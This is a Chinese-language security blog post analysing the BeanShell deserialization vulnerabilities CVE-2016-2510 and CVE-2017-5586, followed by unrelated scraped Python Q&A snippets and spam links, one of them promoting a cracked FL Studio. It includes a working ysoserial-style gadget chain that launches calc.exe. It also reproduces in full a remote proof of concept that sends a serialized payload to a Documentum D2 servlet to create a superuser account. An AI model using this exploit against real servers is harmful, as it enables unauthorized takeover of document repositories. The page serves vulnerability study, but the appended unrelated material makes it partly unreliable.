CVE-2016-2510&CVE-2017-5586 BeanShell漏洞

2023-12-05

前言:

首先我们需要了解BeanShell具体是做什么:

BeanShell 是一种轻量级的可嵌入式脚本语言,用于在 Java 环境中执行脚本代码。它提供了一种简单、灵活的方式来扩展和定制 Java 应用程序的行为,允许开发人员动态地执行和评估脚本代码。

BeanShell 的一些主要功能和用途如下:

脚本执行:BeanShell 允许在 Java 程序中执行脚本代码,而无需预先编译为字节码。它提供了与 Java 类似的语法和语义,可以直接在脚本中使用 Java 类、方法和变量。开发人员可以使用 BeanShell 编写脚本来执行各种任务,如数据处理、算法实现、动态配置等。

动态扩展:BeanShell 具有动态扩展应用程序功能的能力。通过在应用程序中嵌入 BeanShell,开发人员可以允许用户在运行时提供脚本代码来扩展应用程序的行为。这样可以实现动态配置、动态加载类、动态生成代码等功能,提高应用程序的灵活性和可定制性。

软件测试:BeanShell 也可以用作软件测试的工具。开发人员可以编写 BeanShell 脚本来模拟测试场景和数据,执行自动化测试,验证应用程序的行为和正确性。由于 BeanShell 可以直接访问 Java 类库,因此可以方便地与现有的测试框架和工具集成。

学习和教育:由于 BeanShell 的简洁语法和与 Java 的紧密集成,它常被用于学习和教育领域。开发人员可以使用 BeanShell 来教授编程基础知识、演示算法实现、快速原型开发等。同时,学生们也可以使用 BeanShell 来实践和测试他们的代码。

简单使用:

下面我们使用2.0.b4版本的BeanShell先编写点简单代码方便理解,pom添加:


<dependency>
    <groupId>org.beanshell</groupId>
    <artifactId>bsh-core</artifactId>
    <version>2.0b4</version>
</dependency>  

首先我们尝试使用BeanShell调用eval动态执行代码打开计算器:

public static void  runcommand() throws EvalError {
    // BeanShell payload
    String payload = "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start()";
    //创建一个解析器
    Interpreter interpre = new Interpreter();
    //执行代码
    interpre.eval(payload);
}

执行上述代码可以看到成功打开计算器, 然后大概看下调用的堆栈:

可以看到当我们调用interpre.eval的时候首先会对payload的内容修改成为一个简单的节点,如果内容错误无法初始化为节点树则报错,判断完成后会判断payload内容是一个函数还是一条执行代码,这里为执行代码,这样就会通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

下面我们看通过函数是如何调用的:

    public static void  runfunction() throws EvalError {
        String payload = "compare() {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();}";
        try {
            // 创建一个解析器
            Interpreter interpreter = new Interpreter();
            // 执行代码
            interpreter.eval(payload);
            // 调用 compare 方法
            Object result = interpreter.eval("compare()");
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

上述代码主要创建了compare方法然后通过eval调用payload中的compare方法进而弹出计算器,执行可以弹出计算器,同样来看下调用堆栈:

具体的执行方法其实也很简单,首先在执行 interpreter.eval(payload);的时候会判断payload内容,当内容是一个函数的时候,会将其放入NameSpace globalNameSpace;中,然后后面当我们再次通过interpreter.eval("compare()");调用compare方法的时候,首先会去globalNameSpace中去搜索方法名是否在列表中,如果列表中存在则和上面的差不多,通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

这里我们知道我们可以通过BeanShell直接执行java代码,或者执行函数,这样就存在了问题,当我们把我们要执行的恶意代码放入globalNameSpace中,然后想办法找到一个公共接口进行调用就可以执行对应的恶意方法

反序列化CVE-2016-2510:

下面通过根据ysoserial的BeanShell1改编如下代码:

    public static PriorityQueue getObject() throws Throwable {
        // BeanShell payload
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return new Integer(1);}";

        // Create Interpreter
        Interpreter i = new Interpreter();

        // Evaluate payload
        i.eval(payload);

        // Create InvocationHandler
        XThis xt = new XThis(i.getNameSpace(), i);

        Class xtclass = xt.getClass();
        Field field = xtclass.getDeclaredField("invocationHandler");
        field.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) field.get(xt);

        // Create Comparator Proxy
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

        // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        Object[] queue = new Object[] {1,1};
        Field field1 = priorityQueue.getClass().getDeclaredField("queue");
        field1.setAccessible(true);
        field1.set(priorityQueue, queue);

        Field field2 = priorityQueue.getClass().getDeclaredField("size");
        field2.setAccessible(true);
        field2.set(priorityQueue, 2);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);


        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();


        return priorityQueue;
    }

下面对内容进行分析,首先我们编写payload,这里payload一定要用compare,至于为什么后面进行解释,通过调用Interpreter.eval我们可以将payload中的compare方法放入globalNameSpace中,如下图:

然后将Interpreter内容赋值给XThis,为什么这里需要使用XThis,主要是因为在XThis中使用了InvocationHandler invocationHandler = new Handler();这里我们需要知道InvocationHandler具体作用:

InvocationHandler 是 Java 中的一个接口,它定义了一个方法 invoke(),被用于处理动态代理对象方法的调用。当使用动态代理创建一个代理对象时,你可以指定一个 InvocationHandler 对象,用于处理代理对象上的方法调用。

通过将 Handler 对象分配给 InvocationHandler 类型的变量 invocationHandler,你为代理对象指定了一个处理器。这意味着当你通过代理对象调用方法时,实际的方法调用会被转发给这个 Handler 对象的 invoke() 方法进行处理。

具体地说,Handler 对象的 invoke() 方法将被调用,并传递以下参数:

proxy:代理对象,即通过动态代理生成的对象。
method:正在调用的方法对象。
args:传递给方法的参数。
在 invoke() 方法中,你可以根据需要编写自定义的逻辑来处理代理对象上的方法调用,例如记录日志、执行特定的操作或转发调用给实际的对象等。

由于invocationHandler中内容为上面的XThis,如下图,所以当我们调用invoke方法的时候即调用XThis.invoke:

查看XThis.invoke方法可以看到内部调用了XThis.invokeImpl:

在XThis.invokeImpl中我们通过参数和代码分析可以发下:

首先通过参数Method var2获取调用的方法,这里我们可以发现根据param_2可以获取到var4为compare,就是我们payload的方法,然后var8先不用管,这里只需要知道在获取类型,然后调用XThis.invokeMethod方法:

看下XThis.invokeMethod方法内容,这里可以看到参数为我们payload中的compare和一个数组,往后就很好理解了,具体内容就是我们payload中的内容compare(Object foo, Object bar),第一个参数为我们payload的方法名,后面的数组为compare中的参数,后面就是通过反射调用我们payload中的内容,就不往后跟了:

所以根据上面的分析就可以知道,我们只要能调用到XThis.invoke,并且invocationHandler为我们的添加的NameSpace内容即可,如何才能调用到XThis的invoke方法,那就要使用Proxy.newProxyInstance来添加一个动态代理,首先看看我们的攻击代码:


Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);  

这里有些人可能要疑惑了,为什么动态代理要创建为Comparator类型,这里就是一个很关键的地方,首先我们看下Comparator内容,可以看到Comparator接口中有一个方法为compare(T o1, T o2),和我们payload中的compare相同,参数也相同,也就是说我们payload中的内容就是Comparator中compare方法的具体实现,

下我们就要想如何才能触发 XThis.invoke并且最终调用到compare,这里我们使用PriorityQueue,调用如下代码:


new PriorityQueue<Object>(2, comparator);  

看下源码可以发现我们可以将我们精心构造的comparator赋值给PriorityQueue中的comparator:

然后添加两个数组内容到 PriorityQueue中即可,然后将PriorityQueue序列化,当反序列化的过程中即会弹出计算器,后面的过程都了解了,这里主要说下反序列化中如何进入comparator方法:

首先我们会进入到PriorityQueue的readObject方法,在内容主要调用链点在siftDownUsingComparator方法中,可以看到调用了comparator.compare,这里的comparator就是我们上面new的过程中构造的动态代理comparator:

最后看下堆栈:

大概总结下流程,首先我们需要编写一个payload,内容为实现Comparator的compare接口,第一步需要通过调用Interpreter.eval将payload添加到globalNameSpace中,即一个方法数组中,第二步创建XThis并通过反射获取其中的invocationHandler,第三步创建Comparator的动态代理并将创建的动态类放入PriorityQueue中,并添加两个参数,在反序列化的过程中首先进入readObject方法并通过siftDownUsingComparator来调用我们设置的动态类Comparator,然后会进入到动态类的invoke方法,即XThis的invoke方法,invoke方法中有Comparator类,compare方法名和前面添加的参数,后面的就很简单了,会在NameSpace中判断由于前面设置了compare,当调用的时候就会加载我们添加的compare方法,进而执行了任意命令,弹出了计算器。

修复:

本漏洞存在于beanshell-2.0b4版本,高版本对InvocationHandler创建进行了限制:

transient 关键字被用于修饰 InvocationHandler 成员变量 invocationHandler。这意味着在对象进行序列化时,invocationHandler 的值不会被序列化,也不会包含在序列化的数据中。在反序列化时,invocationHandler 的值会被设置为默认值(通常为 null)。

所以当序列化中由于invocationHandler为NULL,会报错,调用链失效:

另外添加了方法readResolve:

但是如果我们本地对jar包修改或者采用低版本同样还是可以生成序列化代码,所以该对象的类实现了 readResolve() 方法,那么反序列化过程将调用该方法。readResolve() 方法返回一个对象,该对象将替代原始被反序列化的对象,成为最终生成的对象,这里返回一个报错,所以当反序列化过程中会报错。

通过两处的改变防止被序列化攻击,所以采用beanshell大于2.0b4都可以修复,另外在maven库中只有2.0b4,所以如果需要升级,请在官方github下载:

https://github.com/beanshell/beanshell/releases

CVE-2017-5586:

CVE-2017-5586本质上还是利用了BeanShell的漏洞,只是说其是通过BeanShell执行命令在数据库中添加数据,具体的payload如下:

/**
CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution

Proof of concept:

===================================8<===========================================
*/

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;

import bsh.Interpreter;
import bsh.XThis;

import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;

/**
* @author Andrey B. Panfilov <andrey (at) panfilov (dot) tel [email concealed]>
*
* Code below creates superuser account in underlying Documentum repository
* usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
*
*/
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {

public static void main(String[] args) throws Exception {
String url = args[0];
String docbase = args[1];
String userName = args[2];
String payload = "compare(Object foo, Object bar) {new Interpreter()"
+ ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
+ ".getSessionRegistry().getAllSessions().iterator().next();"
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
+ "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
+ "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} "
+ "catch (Exception e) {}; return 0;\");}";
Interpreter interpreter = new Interpreter();
interpreter.eval(String.format(payload, userName, userName, userName));
XThis x = new XThis(interpreter.getNameSpace(), interpreter);
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);

// actually we may send priorityQueue directly, but I want to hide
// deserialization stuff from stacktrace :)
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
Constructor ctor = cls.getConstructor();
ctor.setAccessible(true);

Object valueHolder = ctor.newInstance();
setFieldValue(valueHolder, "m_value", priorityQueue);
List valueHolders = new ArrayList();
valueHolders.add(valueHolder);

TypedData data = new TypedData();
setFieldValue(data, "m_valueHolders", valueHolders);

ContentStoreResult result = new ContentStoreResult();
setFieldValue(result, "m_attrs", data);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Character c : "SAVED".toCharArray()) {
dos.write(c);
}
dos.write((byte) 124);
dos.flush();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
baos = new ByteArrayOutputStream();
dos = new DataOutputStream(baos);
dos.writeInt(bytes.length);
dos.write(bytes);
dos.flush();
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
conn.getOutputStream().write(baos.toByteArray());
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
InputStream stream = conn.getInputStream();
byte[] buff = new byte[1024];
int count = 0;
while ((count = stream.read(buff)) != -1) {
System.out.write(buff, 0, count);
}
}

public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd
&file_length=1000"
+ "&_username=dmc_wdk_preferences_owner&_password=webtop";
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

/**
===================================>8===========================================

Disclosure timeline:

2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure
*/

分析下可以发现其主要执行了如下数据库语言:


CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);}   

具体的漏洞点为com.documentum.fc.client.impl.typeddata.ValueHolder方法的m_value参数,感兴趣的可以分析下,原理和上面差别不大,只是调用链添加了一层

具体的漏洞地址为如下地址:


"servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000&_username=dmc_wdk_preferences_owner&_password=webtop"  

感兴趣的可以去分析下,也很简单,这里就不分析了。

总结:

分析下发现反序列化的调用链还是很巧妙的,通过动态代理和接口一步一步到我们的最终代码,只能说写这个调用链的技术确实厉害,好的poc和艺术品一样,值得好好研究学习

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2016-2510&CVE-2017-5586 BeanShell漏洞 的相关文章

  • 如何实现 __eq__ 进行集合包含测试?

    我遇到了一个问题 我将一个实例添加到一个集合中 然后进行测试以查看该对象是否存在于该集合中 我已经覆盖了 eq 但在包含测试期间不会调用它 我必须覆盖吗 hash 反而 如果是这样 我将如何实施 hash 鉴于我需要对元组 列表和字典进行哈
  • Python:使用 string.format() 将单词大写

    是否可以使用字符串格式将单词大写 例如 user did such and such format user foobar 应该返回 Foobar 做了这样那样的事情 请注意 我很清楚 capitalize 但是 这是我正在使用的代码 非常
  • 如何让python优雅地失败?

    我只是想知道如何让 python 在所有可能的错误中以用户定义的方式失败 例如 我正在编写一个处理 大 项目列表的程序 并且某些项目可能不符合我定义的格式 如果 python 检测到错误 它目前只会输出一条丑陋的错误消息并停止整个过程 但是
  • matplotlib 中的 R 风格数据轴缓冲区

    R 绘图自动设置 x 和 y 限制 以在数据和轴之间留出一些空间 我想知道 matplotlib 是否有办法自动执行相同的操作 如果没有 是否有一个好的公式或 经验法则 来说明 R 如何设置其轴限制 在 matplotlib 中 您可以通过
  • 组和平均 NumPy 矩阵

    假设我有一个任意的 numpy 矩阵 如下所示 arr 6 0 12 0 1 0 7 0 9 0 1 0 8 0 7 0 1 0 4 0 3 0 2 0 6 0 1 0 2 0 2 0 5 0 2 0 9 0 4 0 3 0 2 0 1 0
  • Paramiko SSHException 通道已关闭

    我一直在使用 Paramiko 在 Linux Windows 机器上发送命令 它可以很好地在 Ubuntu 机器上远程执行测试 但是 它不适用于 Windows 7 主机 以下是我收到的错误 def unit for event self
  • 按多个键分组并对字典列表的值进行汇总/平均值

    在Python中按多个键进行分组并对字典列表进行汇总 平均值的最Pythonic方法是什么 假设我有一个字典列表 如下所示 input dept 001 sku foo transId uniqueId1 qty 100 dept 001
  • 在谷歌云上训练神经网络时出现“无法获取路径的文件系统”错误

    我正在使用 Google Cloud 在云上训练神经网络 如下例所示 https cloud google com blog big data 2016 12 how to classify images with tensorflow u
  • Pandas:将 pytz.FixedOffset 应用于系列

    我有一个带有timestamp列看起来像这样 0 2020 01 26 05 00 00 08 00 1 2020 01 26 06 00 00 08 00 Name timestamp dtype datetime64 ns pytz F
  • PyArmor - 打包为一个可执行文件

    当我执行此命令时 您好 使用 PyArmor pyarmor pack main py 它将它打包到一个名为的文件夹中dist里面包含我的 exe 以及许多 Python 扩展文件 据我所知 PyArmor 使用 PyInstaller 来
  • 将列表中的 None 替换为最左边的非 none 值

    Given a None 1 2 3 None 4 None None I d like a None 1 2 3 3 4 4 4 目前我已经用以下方法强制它 def replaceNoneWithLeftmost val last Non
  • 为什么 __instancecheck__ 没有被调用?

    我有以下 python3 代码 class BaseTypeClass type def new cls name bases namespace kwd result type new cls name bases namespace p
  • Jupyter Notebook 中的深色模式绘图 - Python

    我正在使用 Jupyter Notebook 目前正在使用 JupyterThemes 的深色日光主题 我注意到我的绘图不是处于黑暗模式 并且文本仍然是黑色并且在日光照射的背景上无法读取 JupyterThemes 的自述文件建议在 ipy
  • Selenium 不会在新选项卡中打开新 URL(Python 和 Chrome)

    我想使用 Selenium WebDriver 和 Python 在不同的选项卡中打开相当多的 URL 我不确定出了什么问题 driver webdriver Chrome driver get url1 time sleep 5 driv
  • 更换壳牌管道[重复]

    这个问题在这里已经有答案了 在 subprocess 模块的 Python 2 7 文档中 我找到了以下片段 p1 Popen dmesg stdout PIPE p2 Popen grep hda stdin p1 stdout stdo
  • 在Python中连续解析文件

    我正在编写一个脚本 该脚本使用 HTTP 流量行解析文件 并取出域 目前仅将它们打印到屏幕上 我正在使用 httpry 将流量连续写入文件 这是我用来删除域名的脚本 usr bin python import re input open r
  • 在 scipy 中创建新的发行版

    我试图根据我拥有的一些数据创建一个分布 然后从该分布中随机抽取 这是我所拥有的 from scipy import stats import numpy def getDistribution data kernel stats gauss
  • 沿轴 0 重复 scipy csr 稀疏矩阵

    我想重复 scipy csr 稀疏矩阵的行 但是当我尝试调用 numpy 的重复方法时 它只是将稀疏矩阵视为对象 并且只会将其作为 ndarray 中的对象重复 我浏览了文档 但找不到任何实用程序来重复 scipy csr 稀疏矩阵的行 我
  • 如何从 nltk 下载器中删除数据/模型?

    我在 python3 NLTK 中安装了一些 NLTK 包 通过nltk download 尝试过它们 但不需要它们 现在想删除它们 我怎样才能删除例如包large grammars来自我的 NLTK 安装 我不想删除完整的 NLTK 安装
  • Python 中的字符串slugification

    我正在寻找 slugify 字符串的最佳方法 蛞蝓 是什么 https stackoverflow com questions 427102 in django what is a slug 我当前的解决方案基于这个食谱 http code

随机推荐

  • FL Studio21.2.0中文完整版Crack

    Fl Studio21是最好的音乐制作软件 但它的成本超过300美元 一个年轻的新音乐创作者怎么能从上到下 地球上没有比 FL Studio 21 更完整的音乐制作软件了 14 年来 它一直是行业领导者 并且随着随后的每一次更新 在此之前已
  • 最后一次改简历了,麻烦牛客的大佬们最后指导我一下吧

    题解 操作符混合运用 SELECT device id gender age university gpafrom user profilewhere gpa in 3 5 3 8 京东实习 全程1H 记录一下1 自我介绍2 介绍项目亮点3
  • 牛客周赛 Round 22 解题报告 | 珂学家 | 思维构造 + 最小生成树

    题解 提取不重复的整数 import java util HashSet import java util Scanner 注意类名必须为 Main 不要有任何 package 题解 计算三角形的周长和面积 include
  • 链表【2】

    文章目录 24 两两交换链表中的节点 题目 算法原理 代码实现 143 重排链表
  • 谈谈 .NET8 平台中对 LiteDB 的 CRUD 操作

    哪个啥 纯 C 编写的 LiteDB 你还不会操作 LiteDB 简介 LiteDB 安装 1 同步版 LiteDB 2 异步版 LiteDB Async LiteDB Studio LiteDB CRUD 操作举例 1 net cli 命
  • 【LeetCode:1423. 可获得的最大点数 | 滑动窗口】

    算法题 算法刷题专栏 面试必备算法 面试高频算法 越难的东西 越要努力坚持 因为它具有很高的价值 算法就是这样 作者简介 硕风和炜 CSDN Java领域新星创作者 保研 国家奖学金 高中学习JAVA 大学完善JAVA开发技术栈 面试刷题
  • LeetCode:1038. 从二叉搜索树到更大和树(反向中序遍历 C++、Java)

    目录 1038 从二叉搜索树到更大和树 题目描述 实现代码与解析 dfs 原理思路 1038 从二叉搜索树到更大和树 题目描述 给定一个二叉搜索树 root BST 请将它的每个节点的值替换成树中大于或者等于该节点值的所有节点值之和 提醒一
  • SSM 线上知识竞赛系统-计算机毕设 附源码 27170

    SSM线上知识竞赛系统 摘 要 科技进步的飞速发展引起人们日常生活的巨大变化 电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用 信息时代的到来已成为不可阻挡的时尚潮流 人类发展的历史正进入一个新时代 在现实运用中 应
  • FL Studio2024中文语言版水果编曲软件

    FL Studio21 2这款软件在国内被广泛使用 因此又被称为 水果 它提供音符编辑器 可以针对作曲者的要求编辑出不同音律的节奏 例如鼓 镲 锣 钢琴 笛 大提琴 筝 扬琴等等任何乐器的节奏律动 此外 它还提供了方便快捷的音源输入 对于在
  • “丝路电商”与泛欧在线公共采购平台Peppol

    近期上海商务委员会公布 关于在上海市创建 丝路电商 合作先行区的方案 以下简称方案 方案中提出 全面贯彻落实党的二十大精神 立足新发展阶段 完整 准确 全面贯彻新发展理念 加快构建新发展格局 统筹发展和安全 发挥上海在改革开放中的突破攻坚作
  • Springboot养老院信息管理系统的开发-计算机毕设 附源码 27500

    Springboot养老院信息管理系统的开发 摘 要 随着互联网趋势的到来 各行各业都在考虑利用互联网将自己推广出去 最好方式就是建立自己的互联网系统 并对其进行维护和管理 在现实运用中 应用软件的工作规则和开发步骤 采用Springboo
  • 分治—快速选择算法

    文章目录 215 数组中的第K个最大元素 1 题目 2 算法原理 3 代码实现 LCR 159 库存管理 III
  • 分治-归并算法——LCR 170. 交易逆序对的总数

    文章目录 0 归并排序 1 题目 2 算法原理 3 代码实现 0 归并排序 归并排序是典型的分治 将数组分成若干个子数组 数组两两比较 不是很清楚的 可以查看此篇文章 数据结构 七大排序 这里以力扣 9
  • 分治-归并排序

    文章目录 315 计算右侧小于当前元素的个数 1 题目 2 算法原理 3 代码实现 493 翻转对
  • 小学全科教师是什么意思

    作为一名小学全科教师 我们的目标是提供全面的教育 帮助孩子们在各个学科领域中取得均衡发展 我们不仅教授语文 数学等传统学科 还注重培养孩子们的独立思考能力 创新精神和社交技巧 下面 我将从几个方面阐述小学全科教师的重要性和职责 小学全科教师
  • xampp环境安装

    XAMPP是完全免费且易于安装的Apache发行版 其中包含Apache MariaDB PHP和Perl 类似XAMPP的服务器套件还有很多 我用过的还有UPUPW 它们都极大的简化了开发环境的配置 下载链接 Download XAMPP
  • SiLM5350SBBCA-DG一款可提供分离输出 隔离门极驱动器完美UCC5350SBDR

    SiLM5350SBBCA DG是一款适用于IGBT MOSFET的单通道 隔离门极驱动器 具有10A拉电流和10A灌电流驱动能 力 提供分离输出 可单独控制 上升时间和下降时间 在SOP8W封装中具有5000 VRMS隔离耐压 在 SOP
  • 优维产品最佳实践第17期:善用控制台

    背 景 遇到页面报错时 是不是感到困扰 不知如何解决 页面响应缓慢时 是否感到迷茫 不清楚从何入手排查 面对主机高负载时 是不是觉得确认异常根因很有挑战 本期最佳实践为您讲解如何通过控制台排查定位 页面报错时 获取traceId确认报错组件
  • 【学习笔记】机器学习——GAN

    提出于2014年 GAN由两个神经网络组成 一个试图生成看起来与训练数据相似数据的 生成器 以及一个试图从虚假数据中分辨出真实数据的 判别器 生成器和判别器在训练期间相互竞争 对抗训练 训练竞争性网络 是一种重要的机器学习思想 生成器 G
  • CVE-2016-2510&CVE-2017-5586 BeanShell漏洞

    前言 首先我们需要了解BeanShell具体是做什么 BeanShell 是一种轻量级的可嵌入式脚本语言 用于在 Java 环境中执行脚本代码 它提供了一种简单 灵活的方式来扩展和定制 Java 应用程序的行为 允许开发人员动态地执行和评估